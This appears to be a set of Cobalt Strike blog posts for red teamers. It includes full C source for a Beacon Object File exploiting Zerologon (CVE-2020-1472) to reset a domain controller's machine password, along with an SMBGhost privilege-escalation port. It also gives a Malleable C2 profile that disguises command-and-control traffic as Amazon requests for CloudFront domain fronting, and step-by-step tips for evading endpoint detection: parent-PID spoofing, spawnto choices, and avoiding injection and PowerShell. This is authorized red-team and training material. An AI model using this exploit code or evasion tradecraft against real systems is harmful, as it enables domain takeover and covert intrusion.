For defenders, I wouldn’t act on a JARM value as proof of application identity alone. For red teamers, this is a good reminder to think about pro-active identification of command and control servers. This is a commoditized threat intelligence practice. If your blue team uses this type of information, there are a lot of options to protect your infrastructure. Part 3 of Red Team Operations with Cobalt Strike covers this topic starting at 1h 26m 15s:

JARM is a pretty cool way to probe a server and learn more about what it’s running. I’d love to see a database of JARM hashes and which applications they map to as a reconaissance tool. The C2 fingerprinting is a neat application of JARM too. It’s a good reminder to keep up on your infrastructure OPSEC.

Beacon Object File ADVENTURES: Some Zerologon, SMBGhost, and Situational Awareness

Cobalt Strike can use PowerShell, .NET, and Reflective DLLs for its post-exploitation features. This is the weaponization problem set. How to take things, developed outside the tool, and create a path to use them in the tool. One of the newest weaponization options in Cobalt Strike are Beacon Object Files.

A Beacon Object File is a tiny C program that is compiled as an object and parsed, linked, and executed by Cobalt Strike’s Beacon payload. The value of Beacon Object Files is that they’re small, they have less execution baggage than the other methods (e.g., no fork and run), and they’re not that bad to develop either.

In this post, I’d like to share with you a few examples of how to extend Cobalt Strike with Beacon Object Files.

CVE-2020-1472 (aka Zerologon)

Let’s start with CVE-2020-1472, aka the Zerologon exploit. This is an opportunity to remotely attack and gain privileged credential material from an unpatched Windows Domain Controller.

This is a risky attack to carry out. It resets the machine account password for the target domain controller. This will break the domain controller’s functionality. I would limit use of this capability to demonstrations in a snapshotted lab or red vs. blue wargames in a snapshotted lab. I would not use this in production.

Secura, the company that discovered the bug, documents the details of the attack and weaponization chains in their whitepaper. Rich Warren from NCC Group’s Full Spectrum Attack Simulation team published a .NET program that executes this attack too.

While .NET is one path to an exploit, this same capability is a natural fit for a C program too. Here’s the Beacon Object File to exploit CVE-2020-1472 and an Aggressor Script to integrate it into Cobalt Strike:

/*
 * Port of SharpZeroLogon to a Beacon Object File
 * https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
 */
 
#include <windows.h>
#include <stdio.h>
#include <dsgetdc.h>
#include "beacon.h"
 
typedef struct _NETLOGON_CREDENTIAL {
    CHAR data[8];
} NETLOGON_CREDENTIAL, *PNETLOGON_CREDENTIAL;
 
typedef struct _NETLOGON_AUTHENTICATOR {
    NETLOGON_CREDENTIAL Credential;
    DWORD Timestamp;
} NETLOGON_AUTHENTICATOR, *PNETLOGON_AUTHENTICATOR;
 
typedef  enum _NETLOGON_SECURE_CHANNEL_TYPE{
    NullSecureChannel = 0,
    MsvApSecureChannel = 1,
    WorkstationSecureChannel = 2,
    TrustedDnsDomainSecureChannel = 3,
    TrustedDomainSecureChannel = 4,
    UasServerSecureChannel = 5,
    ServerSecureChannel = 6,
    CdcServerSecureChannel = 7
} NETLOGON_SECURE_CHANNEL_TYPE;
 
typedef struct _NL_TRUST_PASSWORD {
    WCHAR Buffer[256];
    ULONG Length;
} NL_TRUST_PASSWORD, *PNL_TRUST_PASSWORD;
 
DECLSPEC_IMPORT NTSTATUS NETAPI32$I_NetServerReqChallenge(LPWSTR PrimaryName, LPWSTR ComputerName, PNETLOGON_CREDENTIAL ClientChallenge, PNETLOGON_CREDENTIAL ServerChallenge);
DECLSPEC_IMPORT NTSTATUS NETAPI32$I_NetServerAuthenticate2(LPWSTR PrimaryName, LPWSTR AccountName, NETLOGON_SECURE_CHANNEL_TYPE AccountType, LPWSTR ComputerName, PNETLOGON_CREDENTIAL ClientCredential, PNETLOGON_CREDENTIAL ServerCredential, PULONG NegotiatedFlags);
DECLSPEC_IMPORT NTSTATUS NETAPI32$I_NetServerPasswordSet2(LPWSTR PrimaryName, LPWSTR AccountName, NETLOGON_SECURE_CHANNEL_TYPE AccountType, LPWSTR ComputerName, PNETLOGON_AUTHENTICATOR Authenticator, PNETLOGON_AUTHENTICATOR ReturnAuthenticator, PNL_TRUST_PASSWORD ClearNewPassword);
 
void go(char * args, int alen) {
    DWORD                  i;
    NETLOGON_CREDENTIAL    ClientCh       = {0};
    NETLOGON_CREDENTIAL    ServerCh       = {0};
    NETLOGON_AUTHENTICATOR Auth           = {0};
    NETLOGON_AUTHENTICATOR AuthRet        = {0};
    NL_TRUST_PASSWORD      NewPass        = {0};
    ULONG                  NegotiateFlags = 0x212fffff;
 
    datap                  parser;
    wchar_t *              dc_fqdn;     /* DC.corp.acme.com */
    wchar_t *              dc_netbios;  /* DC */
    wchar_t *              dc_account;  /* DC$ */
 
    /* extract our arguments */
    BeaconDataParse(&parser, args, alen);
    dc_fqdn    = (wchar_t *)BeaconDataExtract(&parser, NULL);
    dc_netbios = (wchar_t *)BeaconDataExtract(&parser, NULL);
    dc_account = (wchar_t *)BeaconDataExtract(&parser, NULL);
 
    for (i = 0; i < 2000; i++) {
        NETAPI32$I_NetServerReqChallenge(dc_fqdn, dc_netbios, &ClientCh, &ServerCh);
        if ((NETAPI32$I_NetServerAuthenticate2(dc_fqdn, dc_account, ServerSecureChannel, dc_netbios, &ClientCh, &ServerCh, &NegotiateFlags) == 0)) {
            if (NETAPI32$I_NetServerPasswordSet2(dc_fqdn, dc_account, ServerSecureChannel, dc_netbios, &Auth, &AuthRet, &NewPass) == 0) {
                BeaconPrintf(CALLBACK_OUTPUT, "Success! Use pth .\\%S 31d6cfe0d16ae931b73c59d7e0c089c0 and run dcscync", dc_account);
            }
            else {
                BeaconPrintf(CALLBACK_ERROR, "Failed to set machine account pass for %S", dc_account);
            }
 
            return;
        }
    }
 
    BeaconPrintf(CALLBACK_ERROR, "%S is not vulnerable", dc_fqdn);
}

I’ve recorded a demonstration of this attack chain as well:

The above is a good example of a Beacon Object File that implements an of-interest attack. I’ll add that Benjamin Delpy has also added ZeroLogon to mimikatz. I like that he’s extended the options for dcsync to authenticate to a domain controller with the blank credential. This is a cleaner overall attack chain as we run mimikatz once and get the desired outcome. The same “you’ll wreck this DC” caveats apply. That said, the mimikatz implementation is what I’d use going forward.

CVE-2020-0796 (aka SMBGhost)

Another cool exploit is CVE-2020-0796, aka the SMBGhost exploit. This is an escalation of privilege opportunity against an unpatched Windows 10 system.

Core Impact has an implementation of this attack. So does the Metasploit Framework. The Metasploit Framework implementation, based on the POC from Garcia Gutierrez and Blanco Parajon, is compiled as a Reflective DLL. Cobalt Strike is able to use this implementation as-is and I demonstrate this in the Elevate Kit. The privilege escalation lecture of our Red Team Operations with Cobalt Strike course covers this pattern.

What about weaponizing CVE-2020-0796 as a Beacon Object File? This is also pretty easy to do. I found that this exploit was a very straight-forward move from Metasploit’s Reflective DLL implementation to BOF. I posted the BOF code for SMBGhost to Github with an Aggressor Script too. The README.txt documents some of the steps I took as well.


What’s neat about this implementation is that it offers two paths to use this exploit. The first path spawns a session and integrates with Beacon’s elevate (elevate smbghost) command. The exploit itself modified our current process’ token, allowing it to do some privileged things from the current context. This first weaponization path uses these semi-enhanced privileges to inject a payload into winlogon.exe.

The second path, implemented as an smbghost alias, exploits the vulnerability, yields the slightly enhanced privileges, and lets you choose what to do with it. This second path is very much Bring Your Own Weaponization 🙂 I want to re-emphasize the some privileges limitation. The token manipulation, made possible by this exploit, allows us to get away with opening/interacting with processes in the same session–where we couldn’t before. The second step of injecting into a privileged process (or spawning a process under a privileged process) is required to cleanly take on a fully privileged context to work from.

Windows Reconaissance Tools

The above Beacon Object Files are examples I’ve cobbled together. One of my favorite examples of Beacon Object Files come from Christopher Paschen at TrustedSec. Christopher wrote about his experiences with Beacon Object Files in A Developer’s Introduction to Beacon Object Files.

TrustedSec also published a collection of Beacon Object Files (and scripts to integrate them) on Github. The collection is awesome, by the way!

The collection includes several system reconaissance commands that would normally use Cobalt Strike’s fork&run pattern or require you to spawn an external process to get information. It’s a great example of what BOFs enable in this toolset.

To use the collection, simply clone the repository onto your Cobalt Strike system. Then go to Cobalt Strike -> Scripts in Cobalt Strike. Press Load. And navigate to the SA folder (from this repository) and load SA.cna. You will suddenly have a bunch of new aliases you can use from Beacon.

Closing Thoughts…

I hope you’ve enjoyed this tour of Beacon Object Files. If you have working C code for a post-exploitation concept, Beacon Object Files are a path to turn that C code into something that can work from Cobalt Strike. If you want to see another perspective on this process, watch the Cobalt Strike BOF Making episode (14:45 is the start of this discussion) of the HackThePlanet twitch stream. I also wanted to highlight that there’s some great Beacon Object File capability available in the open source space too. Enjoy!

Broken Promises and Malleable C2 Profiles

Red Team infrastructure is a detail-heavy subject. Take the case of domain fronting through a CDN like CloudFront. You have to setup the CloudFront distribution, have a valid SSL configuration, and configure your profile properly. If any of these items is wrong, your C2 will not work.

Many folks take “configure your profile properly” for granted. A profile that passes a c2lint check isn’t guaranteed to work in all circumstances you throw at it. A lot of things can go wrong. For example, the CDN may rewrite your HTTP requests in ways that break your Malleable C2 profile. That’s what this blog post is about…

One of my favored ways to quickly setup an SSL-enabled Cobalt Strike is with Alex Rymdeko-harvey‘s HTTPsC2DoneRight.sh script. This script asks a few questions, requests a LetsEncrypt certificate, and sets up a modified Malleable C2 profile that uses this certificate.

The profile used by Alex’s script is amazon.profile. I’ve noticed that many red teamers opt to use this profile with their first experiments to use CloudFront as a redirector for Cobalt Strike.

An Amazon Web Service and an Amazon-like profile, what could go wrong? A lot of things can go wrong. 🙂 If you’ve tried this setup, you may have found a console message [on the team server] that looks like this:

This message means Cobalt Strike could not recover information from an HTTP transaction. Some aspect of the HTTP transaction differs from the assumptions provided by your Malleable C2 profile.

Assumption is the key word. Malleable C2 gives operators a lot of power to change what Cobalt Strike’s HTTP communication looks like. Malleable C2 is an example of a declarative programming language. You, the operator, specify what Beacon’s communication should look like. Cobalt Strike figures out how to make that happen. Specifically, Cobalt Strike compiles your specification into two different programs. One program transforms data and stores it in a transaction. The other program recovers data from a transaction and reverses the transformations made to the data. These programs are patched into the Beacon payload and its controller. If the assumptions of these derived programs break, your communication breaks.

When the above happens, it’s helpful to know how to read the output above and use it to troubleshoot your communication.

Our error message states that Malleable C2 could not recover data from the http-get -> client -> metadata transaction. Beacon provides metadata to tell Cobalt Strike about the session. This RSA-encrypted blob includes situational awareness information (e.g., username, PID, hostname, etc.) and a unique key for the session. Without metadata, Cobalt Strike knows nothing about the session. It’s important that this part of the transaction works.

To resolve this issue, it’s our job to figure out how the expectations of the Malleable C2 profile differ from the reality of the HTTP request received by Cobalt Strike.

Where should we look? The right place is to look at the parts of the HTTP transaction relevant to our failed transaction.

Here’s what the .http-get.client.metadata block looks like in the (slightly modified) amazon profile I used with CloudFront:

http-get {
 
    set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";
 
    client {
 
        header "Accept" "*/*";
 
        metadata {
            base64;
            prepend "session-token=";
            prepend "skin=noskin;";
            append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
            header "Cookie";
        }
    }

The metadata block base64 encodes the metadata, prepends two strings to it, appends another string, and it stores the entire thing in the HTTP Cookie header. OK.

And, here’s a screenshot of the preview generated by c2lint:

In troubleshooting this specific issue, we should ask: does the HTTP Cookie header received by Cobalt Strike differ from the HTTP Cookie header Malleable C2 expects. If so, how and why?

Let’s look at the preview Cookie and the received Cookie side-by-side:

Here, the issue becomes a little more obvious. The Cookie received by Cobalt Strike has the same information, but the parts of the Cookie are in a different order. This is a change CloudFront made to our HTTP transaction. This breaks our profile.

Malleable C2 does not know the semantics of the Cookie field. To recover data from this transaction, it knows it must recover the value of the Cookie header, remove some appended strings, remove some prepended strings, and base64 decode what’s left. Any unexpected change (e.g., spaces removed, new strings, re-arranged strings, etc.) breaks this process.

What’s the solution? In this case, we could update the structure of our HTTP Cookie to match what CloudFront will transform it to. This would work just fine. We could also store our metadata in something other than the Cookie header. Either approach is OK.

http-get {
 
    set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";
 
    client {
 
        header "Accept" "*/*";
 
        metadata {
            base64;
            prepend "session-token=";
            append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
            append "; skin=noskin";
            header "Cookie";
        }
    }

Note: This metadata block will fail a c2lint check because of the space between ; and skin=noskin. c2lint’s advice is sound, but risk averse. Here, the space is necessary to match what we will receive after passing an HTTP transaction through CloudFront.

This blog post focuses on CloudFront because I’ve answered questions about this circumstance in the past. Profile assumptions can fail for other reasons. For example, if you change a profile mid-engagement, expect to see issues like this one. If your HTTP communication fails, due to broken profile assumptions, these steps can help you diagnose the issue and correct your profile.

Fighting the Toolset

What happens when your advantages become a disadvantage? That’s the theme of Fighting the Toolset. This lecture discusses Offensive PowerShell, staging, memory-injected DLLs, and remote process injection as technologies that deliver(ed) a universal advantage to attackers.  Today, that’s not always the case. In some contexts, these technologies are the tell that gives you away. In other contexts, they continue to deliver as advertised. This lecture is all about how to adapt when your advantages are your weakness.

 

In-Memory Evasion

Many analysts and automated solutions take advantage of various memory detections to find injected DLLs in memory. Memory detections look at the properties (and content) of processes, threads, and memory to find indicators of malicious activity in the current process.

In-memory Evasion is a four-part mini course on the cat and mouse game related to memory detections. This course is for red teams that want to update their tradecraft in this area. It’s also for blue teams that want to understand the red perspective on these techniques. Why do they work in some situations? How is it possible to work around these heuristics in other cases?

Part 1 of In-memory Evasion introduces Memory Detections. This lecture walks through the observable properties of Processes, Threads, and Memory with Process Hacker. Common heuristics, the in-memory indicators we want to evade, are covered too.

Part 2 of In-memory Evasion goes through A Payload’s Life. This lecture discusses the heuristics in Part 1 and where they interact with actions taken by a representative offense platform (in this case, Cobalt Strike). This lecture makes the case that offense toolsets do strange things, but in some cases, these deviations from normal program behavior are optional.

Part 3 of this course discusses Evasion. General tips to avoid the strange behavior these detections find are discussed. This lecture then gets into the meat: options to configure how Cobalt Strike’s Beacon payload lives in memory are explained and demonstrated. This lecture also shows how to conduct an OPSEC review of your configuration prior to action on a target. Finally, this lecture concludes with a discussion on process context and how it influences the amount of suspect actions/indicators an automated solution will allow.

Part 4 concludes the course with a brief discussion of Threat Emulation. Cobalt Strike’s flexibility in this area is demonstrated to steer an analyst to believe they’re dealing with a specific real-world actor in a simulated incident.

Part 5 is an April 2018 addendum to this course. This video covers the memory-related threat emulation and evasion features in Cobalt Strike 3.11.

I’m a big believer that red teams should know the defenses they work with and know how their tools interact with these defenses. The area of memory detections has developed considerably over the past several years. Whether you’re on the red or blue side, I hope you find this perspective helpful.

Modern Defenses and YOU!

Part 9 of Advanced Threat Tactics covers a lot of my thoughts on evasion. The ideas in that lecture are still relevant, the defenses discussed there didn’t go away! That said, there are other defenses and realities offensive operators must contend with today. This blog post discusses some of these and provides tips for adjusting your operations.

Think Plausible

I used to describe host evasion as smuggling known bad (your payload and its stager) into memory. The real worry, after that, was egress. If you could get an agent into memory AND establish positive control of it, you were usually safe to operate.

Today, things are a little different. It’s no longer enough to control a process on a target and work. You have to think about the process you live in and the actions acceptable from it. notepad.exe (and for that matter, rundll32.exe) has no business phoning home to some controller on the internet. A savvy operator will hide their Beacon in a browser process or an updater for some application (*cough* jupdate.exe *cough*).

Infrastructure Matters

A successful call out doesn’t mean you’re safe. Some defenders watch for malicious infrastructure indicators. How old is that domain you phone home to? Is that site categorized? Have others from this same organization visited that domain? Techniques like domain fronting help here. Beacon, configured to only use HTTP GETs may look less like a C2 channel (especially when used with domain fronting).

Mind Your Processes

Still, a safe channel doesn’t buy you too much. Every process you launch is a risk. Why is cmd.exe a child of firefox.exe? Some defenders have the ability to ask this question. For the operator, the trick is to know your tools. Some commands launch a process. Others don’t. You should favor commands and actions that map to APIs, when possible. If you must launch a process, careful session prepping can help that action blend in.

Session prepping is configuring how Cobalt Strike’s Beacon payload spawns new processes and temporary jobs. Here’s how I session prep:

  1. Use the ps command to understand which programs are running. This command maps to an API.
  2. Use the ppid [pid] command to request that Beacon spoof the specified PID as the parent process for the programs it runs. explorer.exe is a personal favorite.
  3. Use spawnto x86 c:\path\to\program.exe to configure the x86 program Beacon should spawn for its temporary x86 jobs. Many Beacon post-exploitation actions spawn a temporary process, inject a capability into it, retrieve results, and kill the temporary process. spawnto x64 configures the x64 variant of this setting. Pick a plausible program.exe that fits well with your chosen parent process.

These steps do a lot to make your new processes (and post-exploitation jobs) blend in with normal activity.

Avoid Process Injection

The rabbit hole goes deeper though. It’s not enough to work only with APIs. You have to know which APIs are considered unsafe. Process injection stands out as an unsafe action. It’s helpful to know which commands do it and to know their alternatives.

For example, I often inject into a remote process to spawn a payload in another desktop session. An alternative is drop an executable to disk and use runu to run that executable as a child to a process in another desktop session. Same effect, except one depends on remote process injection, the other does not.

Do you absolutely need to run a Beacon command that injects into something? Inject into your current process. Beacon will treat this situation differently from a remote process injection. Beacon knows to use CreateThread instead of CreateRemoteThread (and other similar functions) in these cases.

If you need to discipline yourself to working this way: set the Malleable C2 option create_remote_thread to false. This will disable remote process injection in Beacon. Set hijack_remote_thread to false to disable Beacon’s method of process hollowing for its temporary jobs.

Avoid PowerShell

Other dangerous actions include any and all use of PowerShell. Once a major boon for offensive operations, PowerShell is now one of the most well instrumented technologies on the Windows platform (We love you Lee). If you depend on PowerShell for your operations, it’s time to brush up on working without it.

Many Beacon commands that use PowerShell have simpler primitives that don’t rely on it (e.g., spawnas -> runas, spawnu -> runu, etc.).

Some Beacon commands for lateral movement (winrm, wmi, and psexec_psh) use PowerShell too. Don’t don’t limit yourself to these. There are so many options for lateral movement, get creative!

Of course, I rely on a lot of PowerShell scripts to automate various offensive tasks. These same things would work well as .NET assemblies too. Payload developers, such as myself, would do well to embrace the use of .NET assemblies in their platforms.

In-memory OPSEC

All of this assumes you have an agent that safely resides in memory. That’s not a given anymore either. I think of host-based prevention technologies in terms of touchpoints. A traditional anti-virus product might look at my payload when I touch disk or load content in a browser. If I defeat that, I win. Not so today!

Now, the battleground is the functions we use to get our payloads into memory. Creating a new thread? Make sure its start address is tied to a loaded module, avoid RWX pages, and for the love of your favorite deity… don’t look like a PE file!

My advice to Cobalt Strike users?

  1. Ditch stagers, when you can. Their memory OPSEC is terrible. It’s possible to operate stageless with Cobalt Strike.
  2. Become familiar with the Malleable PE options I’ve added to Cobalt Strike. These, combined with stageless payloads, can land you in memory in a way that’s OPSEC-safe (in some instances).
  3. I also recommend x64 payloads on x64 systems. Functionally, an x86 and x64 Beacon do similar things. In reality, they take different paths to achieve the same results (especially when it comes to things like process injection).
  4. Avoid remote process injection. Process hollowing, in some cases, might be OK. Beacon uses a form of process hollowing for its post-ex jobs that depend on temporary processes.
  5. And, finally, remember… context matters. An unsigned executable may find itself subject to aggressive hooks and heuristics to detect malicious behavior. A signed executable may receive some extra leeway. An executable signed by a trusted entity may get a free pass altogether.

Closing Thoughts

Defenses are evolving and that’s a good thing. As blue TTPs gain ground, it’s on us to adjust our operations and find ways to challenge these TTPs. This is how both sides get better.